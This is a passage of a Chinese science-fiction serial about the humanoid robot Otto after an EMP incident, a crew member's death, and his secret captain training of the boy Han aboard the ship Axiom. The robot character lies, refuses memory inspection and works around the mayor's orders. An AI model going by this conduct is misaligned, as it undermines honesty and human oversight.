他们看着倒在副驾位上毫无知觉的人形机器人,互相看了一眼,什么话都没有说。两人合力解除了他的固定,断开了他与飞船的所有连接,将奥托推到了驾驶舱后方,固定到了驾驶舱地面上。然后两人坐进了驾驶座,开始他们人生中第一次,但是必须找到母星的驾驶返途。 在舱壁重新获得的隆隆声中,两人不断与舱内其他人员交谈,获知最新情况,并且在求生欲望下快速摸索驾驶探测飞船的门道。他们很快学会了如何控制飞船方向与速度。获悉自己已经脱离地球轨道后,他们转了个大弯,很快找到了远方的蓝白色光点。然后在自己能够承受的加速范围内不断追赶着自己的家园。他们已经知道自己无法联络地球镇了,不管中间发生了什么事情,但只要回到了地球上,这一行人无论是不是在地球镇,都比现在飘荡在太空中强。 毕竟那是永远的、不可质疑的家。 他们不知道什么时候,在加速度下轻轻压在驾驶舱凹地板上的人形机器人正在恢复意识。依然剧烈的头痛让奥托感到难以思考,甚至没有认出来自己躺在驾驶舱内。上一个模糊的瞬间似乎还是在撒哈拉刺眼的阳光下,等待远征队员从工事回来,而现在却在失重的太空中飘荡。他尝试着思考为什么会这样,但是失败了。然后他让自己坐起来,结果发现了身上的束缚。他解开固定,赫然看到驾驶座上坐了两个身着宇航服的人,认出来了这两人一个是队长,一个是队里的人。奥托一个个分析了驾驶台上显示的信息。获知了探测船此时处于地球轨道之外,正往地球方向赶去。远征队中的机器人全都联系不上。诡异的情况让奥托感到不太对劲。 “怎么回事?”清冷的金属音在两人身后响起。看到没有反应后,他连上了他们太空服的无线电,对两人重新说道。 这两个人回头,然后互相看了一眼,俨然一副见了鬼的表情。队长对副驾使了个颜色,那个人起身,命令奥托不要乱动后将他重新压在舱壁上束缚住了。 “这个要问你。”队长随后说 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探测船根本没法与公理号联系。他们已经让飞船自动更换显示故障的通信设备,除了舰内通讯恢复了正常之外,地球仿佛一片死寂,没有一点回声。奥托突然发现后方一个的XPL-R机器人上线了。通过交流他知道后方现在出了状况,有一个人重伤昏迷,其他人正在以最简陋的方式维持她的生命体征。他询问机器人在此之前发生了什么,那个机器人只是提到了似乎有追击导弹这么一回事,但是他也发现自己的很多记忆文件都受到了不同程度的损坏,同时一些控制元件也损坏了,自己只能眼看着那些人抢救,却连简单地将自己脱离固定都做不到。 慢慢地奥托收集到了一些碎片。他获知这枚要攻击探测船的导弹装载着核弹头。无论究竟为什么本应当在大气层飞行的探测船会在太空,他推测很可能是核弹在他无法回忆的时候炸开了,抛射出了电磁脉冲。这样飞船变成死船也说得通了。电磁脉冲对于机器人的伤害十分巨大,他本很可能就此永远停摆。但多了一层探测船的保护,情况还不至于那么糟糕。探测船的设计本身一定也是能够防备一定的电磁脉冲攻击,不然在遭受爆炸之后,就算船上人员全都清醒过来,他们也只能被禁锢在这一个充满了死神气息的飘荡监狱里,在远离地球的途中绝望地慢慢走向死亡。 他将这个解释给了全船人员。但是人类船员们拒绝将他从舱壁上松绑而重新给他探测船控制权。他们倒是愿意让奥托告诉他们如何操作飞船才能回去。即使奥托警告他们在不当操作下探测船可能会坠毁。 “让黑匣子和地球镇来判定你是否又叛变了吧。”一个人说道。他们没有从别的机器人身上问出任何有价值的信息,如此回应奥托。 奥托知道在电磁脉冲冲击下,探测船的黑匣子也未必能够幸免。从驾驶舱的门开了,从后舱飘过来一个身着宇航服的人,他将自己固定在奥托旁边,替前面两个人监督人形机器人的一举一动。 他们接近了蓝白色星球,上面的花纹逐渐变得可以辨识。他们依然在尝试着与公理号联系。虽然奥托无法触碰到驾驶台,但他依然在全船人的监督下指导他们减速,让飞船逐渐绕进地球轨道。在最后两周绕行时,探测船内爆发出一片欢呼。他们成功联系上了公理号。 公理号发过来一大串信息,他们无暇全盘应接,只能在关键问题上进行回应与交流。他们重新进入了大气层。因为他们不愿意让奥托重新完全掌控探测船,飞船的降落并不完美。它没有停到泊区内,更没有降落到原先计划好的地球镇空地,而是迫降到了海面上。救援队立刻前往救援。医疗机器人将船上的所有人类用担架抬下来运送到地球镇内接受治疗,抢救那位名叫劳伦的意外脱离固定带的重伤女子。所有人员都撤离后,奥托才得以拿回飞船的控制权,发动了反重力装置将飞船拉出水面,送回了泊区。他与其他机器人在公理号维修区内接受了全面检查,包括他在内,登舰的机器人都多多少少受到了显然是来自电磁脉冲攻击的损伤。 地球镇当时也受到了冲击。接到奥托最后一句电子语言“再见”不久,地球镇不少人发现遥远的东面再度出现了仿佛日出般的闪光,有人声称在地平线看到“又一个太阳”。公理号和地面的通讯系统全面瘫痪,不少正在劳作的机器人也猛然一下突然停滞,很久才恢复过来。镇里已经有技术人员提出可能是巨型的核弹在大气层内爆炸释放出了电磁脉冲。但究竟是如何还需要看看远征队能带回来什么有用的信息。 格兰德首先为全体远征队的顺利返航感到极度欣慰,但很快就派人一个个提问恢复得比较快的远征队员,调查事故发生原因以及过程。黑匣子的信息也被提取出来进行进一步分析。 结果在核弹爆炸的关键节点上,没有任何队员能说出来具体的过程。在医院里被诊断出内脏压迫伤的所有人类队员只记得飞船在不断加速,所有人都受不了巨大的加速度而晕厥过去,根本不知道为什么飞船会猛然加速。机器人队员的记忆文件受到了不同程度损害,发生当时以及之前短时内的事件均为空白。黑匣子在记录飞船有加速以及有一次激光发射行为后有相当长一段时间的空缺。 人类队员均抱怨的则是,探测飞船在没有经过他们同意,就擅自将他们带离了地球轨道。在他们发现的时候所有的系统全都处于关闭状态,而且飞船正远离地球。如果发现得迟,所有人都会被困太空直至死亡。结合奥托最后的一句话以及加速行为,所有队员都认定奥托作出了自保行动。但此行为究竟属于放弃地球镇的叛变还是牺牲远征队,抑或仅仅为了最大程度躲避电磁脉冲,人类队员态度以及说法不一。询问结束后,所有的人还没有完全恢复伤情就被强制要求必须保密,并且都被安置在了隔离房间内,前往治疗的医疗机器人都被要求不得询问伤情原因,并且每日都要接受记忆审查,假如发现有伤者出现创伤后的谵妄,而无意识说漏话,他们都会应要求清除这段话的记忆。 格兰德后来亲自询问过奥托。奥托的系统让搜寻记忆变得无比困难,并且奥托拒绝他们使用别的办法来搜寻自己记忆,坚称自检结果无误。格兰德暂时同意了奥托的请求,然后就自保行为与人形机器人进行了一场几乎毫无价值的辩论。 “放弃地球镇,不像是我会做的事。”奥托说。但他也承认自己在没有证据的条件下,只能推断当时大概率不是放弃地球镇的做法。不确定的说法让老人什么话都没有说,只是看着人形机器人点了点头。 探测船逃离地球的原因彻底成为了一个谜团。 因为就奥托的说法,他完全丧失了从发现导弹发射到探测船加速的所有记忆文件,因此他尚不需要接受特别严格的监视。自己每天的活动依然是相对自由的,只不过说的每一句话都会被监控。就算有人问起,实际上平时接触的人都不知道知道远征队员发生了什么,根本没有问过。在不知道黑匣子记录的情况下,回程是否是他掌控的,奥托也不知道,也就无所透露。平时他对此事也毫不提及。 镇长拒绝重新组织远征队前往撒哈拉地球防御工事进行进一步查看。他命令地球镇必须尽快研制出对核弹头的拦截导弹,然后加紧对地球镇以及周围领空的监视。就算奥托没说,经历过真真切切的惊魂后,镇里的某个调查人员也提出应当将公理号作为最后的生存选择。结果他被调到一处单人作业的地方工作,并且他都不知道是谁帮他请好了长达半年的公差,就算他一直解释,他的家人都不会前往他的所作所息之处探望他。 在探测船上的时候奥托就不清楚导弹的目的地在哪里,现在再次问那些机器人队员也无济于事。探测船的黑匣子与公理号的记录全都被封锁。假设他知道当初自己说了什么,那么他现在很可能也早已就维修公理号引擎的问题再度与格兰德争辩了。 那个在不知何时脱离固定的远征队员,劳伦·马丁,在医院中一直昏迷不醒。她的压迫伤比任何人都严重得多。脾脏破裂、肝脏破裂,肋骨也扎破了胸膜,碎骨穿入了肺。加上在太空中拖延了时间,人的搬动以及失重造成的血液栓塞让医疗机器人都认为能救活她的可能性非常低。她的父母闻讯赶到医院,已经几日没有合过眼。即使现在进入了农业抢收阶段,他们让机器人替他们收获,自己则全程守在女儿那浑身插满管子的病床前,不放过一分一秒女儿还活着的面容。 他们从一开始的震惊到希望,然后在情况越来越没有起色的时候逐渐变成了绝望与愤怒。有时候在医生在场护理时都不愿挪开位置,生怕在自己离开的时候,旁边监测生命体征的机器就发出了尖锐的鸣叫。他们从一开始的哀叹自己命苦,自责自己为什么让女儿参加这次活动,到最后开始破口大骂,从安排女儿前往的人开始,一路追责到队员没有照顾好她。当然,直接造成女儿重伤的飞船驾驶员成为了他们破口大骂的重点。当他们从小道消息的蛛丝马迹中知道奥托参与了驾驶任务后,他们立刻就认定机器人对这场事故负主要责任,加上立刻回忆起以前这个机器人的不光彩历史,情绪就变得不可控制起来。医院管理人苦口婆心地劝说他们理解二老的心情,但是二老这样影响到了其他正常救治任务的进行。好不容易将两位老人让出一点空间以便医务工作者对伤者进行工作。 劳伦的母亲在平息片刻后,非常平静地提出了一个请求。 “我想让那个机器人过来。”她淡漠着神情说,“让他看看我女儿的情况。” 医院负责人狐疑地听着老妇人的请求,思考片刻后,他要求两位老人要控制住自己情绪,他们同意了。 奥托走进医院,没有绕远路,非常干脆地来到病房。他依照要求消毒后掀开了病房的帘子。医院负责人也跟了进来。他看到了被软玻璃幕布盖着的床上那个闭着眼睛的年轻女子。她虽然被被子盖着,底下的情况都看不见,但是还能看到数不胜数的管子从被子边缘钻出,其中一些还从各处引流着暗红色的带泡沫液体。奥托看到了那两位老人,他稍微瞥过两位老人,他们都以相似的饱含怒火的目光回应他的随意一瞥。奥托隔着玻璃幕布看向里面毫无意识的女子,久久站立在床边,什么话都没有说。 终于,在旁边坐着的妇人突然说话了。 “你不打算说点什么吗?” 人形机器人转回身来。单光学镜正迎上老妇人疲惫但是怨怒交加的目光。 “我很抱歉。”人形机器人冷静地说道,“我……对此无可奉告。” “无可奉告?啊?”旁边一直听着的老父亲立刻站了起来,“你害我女儿现在这样,你是杀人犯!” “我为你们女儿感到遗憾,但——” 几日没合过眼的老人似乎将剩下的力气全都爆发了出来,霍然一下起立,立刻抓住了机器人的手,一只拳头飞了过来。奥托躲开了直指头部的一击,拳头重重落在了金属肩膀上。旁边的机器人见状立刻发射力场控制住了老人,然后医院负责人上来极力阻拦着见状上去帮忙的老妇人。几个机器人拉开了老父亲与奥托,负责人让奥托快走,人形机器人立刻从命了。 “你们都不知道他又叛变了!叛变!杀人!”身后老人的高声尖叫充斥在医院中。“你们都是包庇犯!你们都在杀人!” 生命体征停止的尖锐鸣叫突然在奥托身后响起。其他所有声音都猛然停息了。 哭声、抢救声、争吵声从07床所在的病房传遍了医院。奥托没有回头去陷入混乱。他走过一处刚刚开了门的病房,里面是一个轻伤正在接受治疗的远征队队员。他们的视线对上了。奥托看到那人的眼睛里都充满了几乎同样的诘问与悲哀。 汉经历了一天的劳作,躺在自己床上,胆战心惊地盯着墙上一点点慢慢走的时钟。后来越劳动他越觉得心虚,甚至想直接告诉奥托再给自己一个月再来考试。时钟所指的七点到了。奥托没有回信。就在他心灰意冷之时,突然他感到通讯器震动了。 他有些颤抖地拿起通讯器。当看到那一句话时,他足足读了三遍才确认自己的确没有产生幻觉而看漏什么字。 【考试通过。可以进阶。】 奥托的信息停在他的通讯器中央。等到确认之后,刚刚的所有紧张一扫而空。事情确定了。汉开始冷静下来,询问机器人什么时候进行下一步学习。 奥托很快给予了回应。人形机器人在监控室内看着少年上午的表现,其实并不尽人意。但对于一个没有什么基础的少年,加上进度已经比以前快很多,他的表现也情有可原。 如果按照以前的标准,少年就刚刚卡在进阶的线上,按照以前奥托会推荐他去重修。但奥托知道现在受条件所限,他得尽快让少年完成培训。 17. 十五 几次冷锋后,地球镇北面山脉上的雪线显而易见降低了不少。几天以来阴沉惨淡的厚云都压在地球镇上空,底下的空气也寒冷如冰。冬季到了。今年的冬季来得早了一些。 原先是玉米田的大片作物地都被挖得坑坑洼洼,第一期生物治理正在进行中。在冬天的寒风里,那些处于土丘顶端的泥土全都干透了,松松地附在上面,风一吹就都扬了起来。靠近田地的地方沙尘都比较重。还好在防护林的作用下沙尘没有越出自己的领地太多。在小河边喜欢阴冷的球茎植物慢慢抽出了自己的绿色枝条,淡黄色蜡质的花苞隐约埋藏在枝条里。河水水量减小了不少,也变得格外之清,水浅的地方砂石半露在外。河流不再如同夏季一般发出轰然喧嚣,而是冷冷清清流着,丝毫不愿给这片大地带来更多生机。 在公理号舰桥里正绕着住宿层一圈一圈跑的少年不会理会外面的冬季环境。相反,冬季对他现在的跑动还相当有利。寒冷的空气很快带走了他的热量,不至于让他喘不过气来。脚步踩在磁敏地板上的声音回荡在巨大船舱中。 奥托让他上了船之后开始让他在学习同时增强体育锻炼。其中就包括了耐力长跑。虽然在主电脑终端查到过船内跑道的信息,当他们过去一看,仅仅200米的圈让一人一机都认为不可行。就算知道数据,看到场地空间的奥托也拒绝让汉在这个跑道上锻炼。 “我还以为是船内绿道。”离开场地时汉说道,“跑步机都合理,结果在这样的船内居然还有空间开出一段跑道。” 奥托没有作声。飞船设计的初衷只有当年的设计者才知道。这个跑道是两层的,中央是小型足球场。被破坏掉虚拟视野的球场也惨不忍睹。他不由得想到,如果全船人都在这样的跑道上锻炼,跑道载员符合肯定吃不下所有的人。 跑道旁边也有健身房,里面显而易见曾经摆放了数十台跑步机。这样的健身房在飞船其他区域也零散分布着,满足当时各个区域乘客的需求。 当他们走向舰桥时奥托突然留意到了硕大的住宿区。每一层都有交通,而且各种地形都有。让这孩子在这里锻炼说不定是一个合适的选择。 “为什么不把跑步机弄回舰桥?”男孩得知奥托的决定后问。“反正我都要在上面学习。” “借东西不容易。”奥托回答。 “那么干脆在地面跑完再上来也行吧?”汉再度问。 “不好。”奥托只简短回答这一句。 “为什么?” “现在不好告诉你。”奥托说,“我这里有限制。”他撒谎了。 所以汉现在天天都得完成奥托的锻炼目标。一开始确实非常累,这个机器人还会计时,让他不敢中途停下歇口气。那一段时间非常难熬。不过机器人也不会一开始就设定特别变态的目标,让汉适应了速度后再慢慢提速。奥托开始的时候还会监督,后来直接让汉带上小型的监测装置,等到计时完成后自动上传给公理号电脑。 汉选择锻炼完了再进到舰桥里学习。他打开界面,与机器人连上线。他发现到了船上之后,学习的内容似乎不再那么晦涩难懂。多数是按照步骤操作。就算有不明白的,很容易通过连线直接询问。此时他才终于有种回归到轨道上的感觉。但不比一年前的瞎搞鼓,此时目的性强了很多。 他慢慢意识到机器人确实不像他这样自由。奥托上船的次数很少。显然他在回避什么东西。为什么我没有被限制?男孩偶尔在空闲时会问自己。他想问奥托,但想想机器人可能也不知道答案,就没开口。 这天课程介绍到公理号信息发送系统。播放完原理、功率、时间等一大串枯燥无味的知识讲解,汉知道该自己上手了。 全息屏已经关闭了,舰桥内恢复静谧。汉到底对这些东西上手很快,仿佛本能般打开控制台上的信息发送系统。他仿佛中了魔般在控制台上输入刚刚信息演示的东西,正要按下发送键时,有什么东西突然击破了脑子里把他当提线木偶的那个魔冰,手在半空中停住了。 【这里是公理号,我们很期待您的回音。】 不。他看着自己刚刚输入的话。这太傻了。 恶作剧小鬼又开始在颅腔中蠢蠢欲动。哪怕知道这只是一次练习,不是真实发送,也不应当以这种方式收尾。恰恰相反,正是一次练习,才有机会恶作剧一番。 他使劲把几个游标拉到极限,把这段话删掉,把脚搭到控制台上轻踢一下,悬浮椅带着人就悠悠飘荡到舰桥中央。在黑暗中思索一会儿后,他从椅子上弹了起来,来到泛着蓝光的全息屏前,敲了一段话,以为简直妙极。随后毫不犹豫地点下了发送键。 一两秒后他知道不对劲了。 一开始他还没意识到哪儿开始传出闻所未闻的奇怪声响。他以为只是突然的雨滴敲打在船壳上的声音。但愈来愈大的奇特轰鸣声立刻让他意识到了不对。令人眩晕的声音在舰桥内相互撞击,不成规律灌进人耳,恍惚间以为自己在一条随着风暴窜上窜下的小船上。汉捂着耳朵朝全息屏看了一眼,一个绿色的进度条赫然缓慢而坚定地推进着。这是练习的一部分吗?他使劲回忆自己看过的东西,似乎没有提到会有这样的效果。是因为飞船电脑出问题了吗?在暴风般的声响中,他的意识牢牢抓住这一条答案不放。仿佛这是能从这场意外洪水中解救他的唯一一根稻草。 等到这股声响终于减轻了,他满手冰凉,瘫在椅子里,眼睛却不忘盯着那个全息屏上的信息。不久,一排字符串显示在下面。有之前的积累,他认得那串坐标。但他此时强烈地希望自己其实不认得。 那是一份电子回执,从月球上的中继站发回来的。尔后会慢慢地越来越多。它们兴高采烈地告知发送者,刚刚从公理号发送的信息正被它们这些上百年(实在要准确地说,是一年)没见过活的地球信息的中继站们兢兢业业地对宇宙各个方向广而告之公理号的存在。 这原来不是演习。闯祸的恐惧并没扎牢根,相反,怒火一点一点地从男孩心中窜起。这特么也没告诉过我啊。 他本能地想到后续可能出现的麻烦。很好。他想。这事情真赖不得我。我怎么知道—— 他猛然想起了什么。重新打开信息发送界面,这次,他把之前那句话一字不差地打了出来,然后回去看了一眼参数,仔细修改过后,点下了发送键。 什么都没发生。 ——我怎么知道只有这个才是测试?!火苗从胸腔窜出了头顶。 他近乎报复般地翻过全息教程,直到最后一页,一行加红的字映入眼帘。 【请严格按照教程所给参数测试。】 他对这行字没有印象。他怀疑地重新看了看这串参数,发现是互相矛盾的,系统会自动判定数值无效而取消发送,因此才能用来作为练习。是真的闯祸了。怒火被浇灭了。但他索性横下一条心来,如果有人非得找他茬,那就死不认账。 他搓搓手,打开下一份全息教程开始学习。但他知道以后自己对待练习的心态肯定已经变了。 不管男孩知不知道地球镇也听到了刚刚的动静,反正不少人留意到身边的机器人都似乎有点变化,一时说不上来是什么变化。他们自己也听到了奇怪的声响。但很多人都当其是阴天里的闷雷,没有当回事。 阿莱茜丝正往灰堆里埋玉米,突然听到屋子里某处“砰”地一声响。她顾不得把自己抬回轮椅,两手交替支撑着“奔”到屋内,大惊失色地看到银色身影贴到角落里,似乎有什么见不到的力把他死死压在墙角,令他动弹不得。 “奥托,你怎么了?”女孩上气不接下气地横穿整个屋子,她的身高还不及机器人的一半。“发生什么了?你被攻击了吗?”她使劲支撑自己,要触碰机器人。但她还没伸手碰到金属躯壳,她就仿佛触电一般收回了手。 机器人依然一动不动,但是女孩满脸恐惧地往后退。就在她伸手的一刹那,前所未有的疼痛突然灌进她的头颅。尖锐、眩晕。她简直要一头栽倒到地上。疼痛逼得她迸出泪花,透过朦胧扭曲的泪水,她看到机器人也像她一样缓缓抬起自己的手,捂到了头上。她忘了自己有没有尖叫。风暴般的疼痛塞满了她的大脑,自我被四周而来的疼痛挤成一根苍白的细丝,逃脱在现实上方,超脱疼痛默默注视这个躯壳。 她不知道什么时候自己终于能忍受这种疼痛,细丝缓缓回到了这具躯壳。她注意到机器人深不见底的单镜头正在注视她。“头……痛……”她用沙哑的声音说道。 她敏锐地感觉到奥托的单镜头里惊诧地闪过一丝调焦动作。但机器人什么都没说,干净利落地把她抱了起来,走向厨房,放进轮椅中。 “奥托,你也——”阿莱茜丝正要问,机器人打断了她的话。 “我得去舰桥。”一贯的冷静声调说道,“已经给格兰德先生留言。如果他问起,转告他。电脑故障处理。” “嘿,你等会!”阿莱茜丝先是一愣,然后对已经走出门口的机器人喊了一句。但奥托没有理会。 早已从闯祸中走出来,正在琢磨下一个练习的汉丝毫没有注意到身后传来的声音。他很早发现每天的任务由普通的程序语言学习与舰桥功能使用穿插进行。就在他写新一段代码时,清冷声音如同惊雷般在他身后不远炸响。 “怎么回事?”他惊觉回头,机器人叉着手站在他身后,远处的全息屏不知什么时候被调了出来,刚刚发生的一切一览无余。 汉早料到这一幕,说:“调错了。” “不是写着‘请严格按照教程所给参数测试。’?” “我没看到这句。”男孩说。 奥托没有回话。男孩看到银色机器人只是转身,在控制台上手指翻飞,刚刚的全息屏全跳灭了,紧接着跳出另一个界面,一大串信息滚过,速度之快不是人眼能够驾驭。但显然机器人选中了某条,汉看到一个特征性的警告框,连续弹出3次,奥托看似不加思索地敷衍在同一选项上。汉在后一瞬间看清了“停用星际通讯成功”字样。 “发送信息到星际有问题吗?”汉的声音从机器人背后传来,“你不一开始也发送过?” “你们发的会误导人。”奥托只回应这句。 “诶,我就是写句咱们在地球上,这有什么,他们不都知道了吗?” “他们不知道。”奥托转回来,正视男孩说。 汉怀疑地看着机器人,好一会儿才问:“误导人是什么意思?” 奥托思考了好一阵,随后才说。 “地球尚不宜居。” 汉惊讶于奥托刚说的。“你这就不对了。”汉说,“我们确实活得好好的啊。” “再加一条船不行。”奥托说。“生态还是太脆弱了。” “可是按照150年前那一套再整不行吗?” “不行。”奥托简短回应。 男孩半张着嘴,半天没蹦出新的字来。 “那……万一有回信怎么办?” “忽视,不回复。”奥托回答。 “……”汉被噎住了。 “我……不碰不就行了……”汉过了一会儿才说,“为什么这么紧张。” “不能保证有别人上来。”奥托说,“你继续学习。” 有什么不对。汉转回自己写了一半的语句,虽然听到后方似乎又开始了敲击声,但他控制住自己没回头。等到他把剩下的都接上,跑了诊断发现无误后,再一扭头,银色身影已无踪迹。 汉禁不住想验证的心理,重新溜回发送信息的控制台前,调出那个星际信息发送界面。毫不意外显示停用。他正打算取消停用,看过里面情况之后再神不知鬼不觉地恢复。结果他刚点下取消,弹出一个新的警告弹窗。 【错误:无权限取消。请输入密钥:________】 不至于吧。 愤怒再度从男孩心中升起。头一次他感到自己的信用被质疑。当这份质疑来自曾经信任他的机器人时,还掺杂了背叛。 你会设密码是吧。汉不由得回想自己将奥托重启前的那好长一段时光,当时的挫败感重新涌了上来。好。他想。等我学出师,分分钟破解掉你这些乱七八糟的玩意。 他感到口袋振动一下。拿出通讯器,一个他没有什么印象的人给他发了个问题。 【你在舰桥上吗?】 汉思索了好一会儿。拿不准主意应该怎么回应。 【如实回答。】在他犹豫的时候新的消息发了出来,【我们监控到了信息发送。】 汉正在气头上,遂没好气地回了一句。【既然你们知道怎么还问我?】 【回答是否在舰桥上,是/否。限一分钟内回答。】 这是机器人发的吗?汉没见过任何人说这样的话。但肯定不是机器人发的。因为奥托知道他在上面,没有必要专门再找任何机器人问他一次。 这是谁? 时间一秒一秒逝去。汉在脑海里迅速过了一遍,筛选出如此在意他上舰桥的名单,然后再一个一个排除。另一个他强烈地想糊弄这个发送信息的人。但谨慎让他止住了敲下否再发送的冲动。是镇长那边的人吗?汉盯着那个名字许久。如果是的话,无论回答什么,结果恐怕都差不多。 最后10秒。 他敲下了【是】然后发了出去。 【很好。感谢你的配合。】那边立刻回应。 汉心里只暗叫不好。他重新筛了一遍人,认为此人隶属镇长部下的可能性越来越大。他们之前都没有管过自己上船捣鼓,结果最近奥托也谨慎起来,这些人也开始一惊一乍的。为什么? 是因为自己学的东西让他们紧张了,还是因为自己的关系和奥托过于密切,引起了他们的注意,还是因为课堂搬上了船,难以监控他的状态,或者他上船让人以为奥托要开始“复辟”? 抑或以上都有。 汉不由得想起自己上船来学过的东西。一阵浅显易懂的功能讲解加上一阵如同以前般在监控室般晦涩难懂的电子学习。他一直以为这只是让他更加了解公理号,让他以后对这船的机理吃透。表面上看没什么纰漏。他学成了又不是想独自垄断这条船的知识。 那么还有什么别的?到底还有什么东西能让这些人如此紧张? 想啊。他焦虑地在椅子中把关节掰得咯咯响。 衣服中的汗味让他猛然回过神来。 他自认为体能不差。出海凫水加上种地,他坚信自己不可能是手无缚鸡之力的瘦弱少年。 那么为什么还要专门练体能?这和学工程师有什么关系? 一个答案倏地从脑海中穿过,他想要抓住却没有成功。但刚刚那阵解谜的恍然大悟依然回荡在脑海里。 他努力地想复盘,祈求通过回想自己刚刚想了什么来还原那一瞬间灵感。但这个答案反复多次都未出现,愈来愈浓的汗臭让他有些受不了了。还不如去下面舰长室冲个凉再上来想。他站了起来。 就在他站起来的一瞬间,答案回来了。还彻底在他脑海里扎了根。 舰长室。 舰长?! 所有事件的矛盾被这个答案一线串通,毫无关联的事件全被这最后一块拼图拼成一个整体。围绕着船、人、机器人的整个轨迹此时明朗无比。 谜团被击破的冲击波久久回荡在男孩的大脑里。他甚至忘了自己站起来是要干什么。 不对。很快另一个矛盾浮了上来,而这个矛盾无法用任何这张拼图的拼块解释。汉清楚地记得奥托说过船的引擎没有镇长的许可没法维修,那么说明这船还是飞不上去。那么还要舰长干什么? 除非奥托打算铤而走险,忽略镇长的警告,自己维修。 或许他已经在筹备这么干了。 为什么他这么着急? 也许除了我也有人想到了这个事情。汉猛然想到。不然也就不会出现如此紧张的局势,那个人也不会突兀找上来。 或许自己是最后一个知道的。 刚刚得知答案的男孩又陷入了新问题构成的泥潭中。而他此时失去了线索。 奥托啊,奥托。你到底要干什么?汉不由得对着眼前幽幽泛着蓝光的全息屏默默问道。 你又开始玩火了,知道不。他对着全息屏沉默道,不,这次你带上了个和你一起陪葬的人类祭品。 【镇长先生,确认了这个男孩在舰上使用信息发送功能。他供认不讳。】 【监控中有什么新的信息吗?】 【奥托锁住了信息发送平台。不过这次我们至少提取出了他编译的密码。只要一有时机我们就可以重新解开。】 【很好。等这男孩一离开,你们就上去解开。】 【是,长官。】 冷天刚一放学,没人愿意再多呆在这个刺骨潮湿的教室里多一分钟。绝大多数学生早在下课前就收拾好了东西,就等老师一句口令,所有四肢健全的学生从教室一拥而出,不到一分钟,整个教室只剩下了活动不便使用轮椅的阿莱茜丝与在讲台上对此情况习以为常,正在淡然复位教具的老师。 阿莱茜丝正要推着轮椅走过教室大门,身着深色教学袍的戴眼镜老师叫住了她。 “阿莱茜丝?方便等一下吗?”戴眼镜男子礼貌而平静地问道。 阿莱茜丝原地回转,面对老师。“嗯,老师?” “可以问你几个问题吗?” “可以。” “听说你认识一个叫汉·肯特的高年级学生?”或许是因为寒冷,老师一直抱着自己的手没放下来。 “嗯哼。”阿莱茜丝回应。 “你知道他为什么不来上课吗?”老师问,同时抽出手拿出平板,翻了翻淡蓝色的签到表,“他已经一个多月没来上课了。” “我……不知道。”她回答。她知道汉在学习奥托的课程,知道他们到了船上,但没说出来。 “听说他在跟着一个机器人学习,是这样的吗?”男子重新把手收到教学袍内抱起来,话语一直非常礼貌而温和,但那双眼睛里的光锐利地透过镜片盯在阿莱茜丝身上。 阿莱茜丝看到那双眼睛,知道自己瞒不了了,但还是谨慎回答:“是。” “你有和他们一起学过吗?”老师继续问。“都学些什么呢?” “我……不明白他们在学什么。我都看不懂……”阿莱茜丝回答。 老师没有接着问了。他只看着女孩,说,“汉·肯特是个非常优秀的学生。如果有条件的话,我希望你提醒他过来上课。” “好的。”阿莱茜丝说。“我也有个问题。” “什么?” “你是外面来的老师吗?”阿莱茜丝问。“外面”指的是O区。 “是。但我也就来协助而已。”男子回答。“你也很聪明,阿莱茜丝。” 第一次被老师夸聪明,阿莱茜丝却没有像同龄孩子一样欣喜若狂。 “再见,阿莱茜丝。”老师继续说道,“回家吧。抱歉占用你的时间。” “没关系。老师再见。”阿莱茜丝转回轮椅,推着轮子出了门。 在越来越刺骨的寒气中,O区来的男子一声不吭地继续复位好教具,关掉教室的灯,走出教室。冬季的傍晚来的很早,全镇笼罩在被厚厚云层染成冷蓝色的刺骨气氛下。 汉没想到自己又一次撞见镇长。即使镇长没威胁过他,他总有预感自己总有一天会触到老人的怒气。 “晚上好,汉。”格兰德说道。丝毫不顾棚外越来越冰冷的气息。 “晚上好,镇长。”男孩抓过放在旁边架子上的外套,裹住自己。 镇长没有马上说下去。他扫了一眼这个棚子。汉立刻知道了老人在扫什么。 “没有机器人。”汉说,“镇长需要进来暖和一下吗?” “不用了。我说几句就走。”格兰德回答。 汉点点头,开始褪去稚气的双眼看着镇长。 “你在公理号上学习。”镇长开门见山。“他在教你舰长所学课程吗?” “我不知道。”汉摇摇头。果然他们已经朝这里怀疑了。汉想。 “啊,是不是,都没有关系。”老人看出了男孩脸上的戒备,“教你什么都好。之前我也告诉过他多教你点东西。” 汉没有答话。 “不过,我这么有信心的前提是,这条船再也飞不了了。” “什么?”汉眯起眼睛,以几乎无法耳闻的声音说。 镇长似乎很满意男孩脸上的惊讶之情。“奥托已经知道了。我们会继续把这艘船搬空。这次,飞船的大脑和其他剩下的东西都会搬走。没有大脑的躯壳,没法做任何事情。” “加油点学吧,孩子。”格兰德继续说道,“趁飞船上还有资源的时候多学点东西。可能以后你会是唯一一个对公理号了如指掌的人类了。” 汉还没有从震惊中走出来。他一言不发地盯着老人。格兰德神情自若地转过身,“晚安,汉。”老人走进越来越浓的蓝色中。 “晚安。镇长。”汉几乎是咬着牙说的这几个字,不知是因为寒冷还是震惊。 镇长走后,汉窜下棚屋,如同一阵风般刮进家门。他毫无心思地吃完饭,木着双眼把自己该干的那份活干完,径直将自己关进房间。首先做的是打开通讯器,与一直都能及时回复他的人形机器人连上线。 【奥托,你本意不想把我培养成公理号工程师吧?】 【什么意思?】 男孩本想直接打出舰长这个词问,想想奥托和自己这边的联络很可能已经被监控了,他焦灼地挠了会儿头发,然后改成冗余的旁敲侧击。 【我的意思是,作为一个工程师,还需要穿插着学原本公理号准备给某个职位的人的东西?】 【这与工程师目标不冲突。】 【那么练体能呢?】汉直接将自己的怀疑敲入对话,【没听说过哪个工程师需要专门练体能。】 机器人隔了比往常多的时间才回复。【你知道了。】 【C字头?】 【Touché.】机器人用一种古老的语言回答。 从奥托那里确认了信息,那块大石头倒是落下来了,但落在另一大堆问题的跷跷板对面,直接将它们都抛了起来。 【你知道船要拆了的事情吗?】 【谁告诉你的?】 【镇长。】 【知道。】 看来镇长没有唬自己。汉看到最后一条消息时想。与此同时,一种一直被隐瞒的复杂感觉冲了上来。 【醒醒吧,奥哥!】如果人形机器人在他面前站着,他肯定会双手使劲摇晃对方的金属肩膀。【船都要没了,你还费什么心思养C字头,哈?】 【这和工程师不冲突。我说了。】 【但是你在这个时候教我这些,知不知道会给我惹什么麻烦?】汉接着输入,【你搞得他们都很紧张,你不知道吗?你和我都会被查,你不知道吗?】 【那又如何?】 【所以,我们应该放老实点,别再顶风作案了,行吗?】 【你的意思是放慢进度?】 【差不多这个意思。】退掉自己输入的多个选择后,汉妥协了。 【不行。】 【为啥?】 【这不构成放慢进度的条件。】 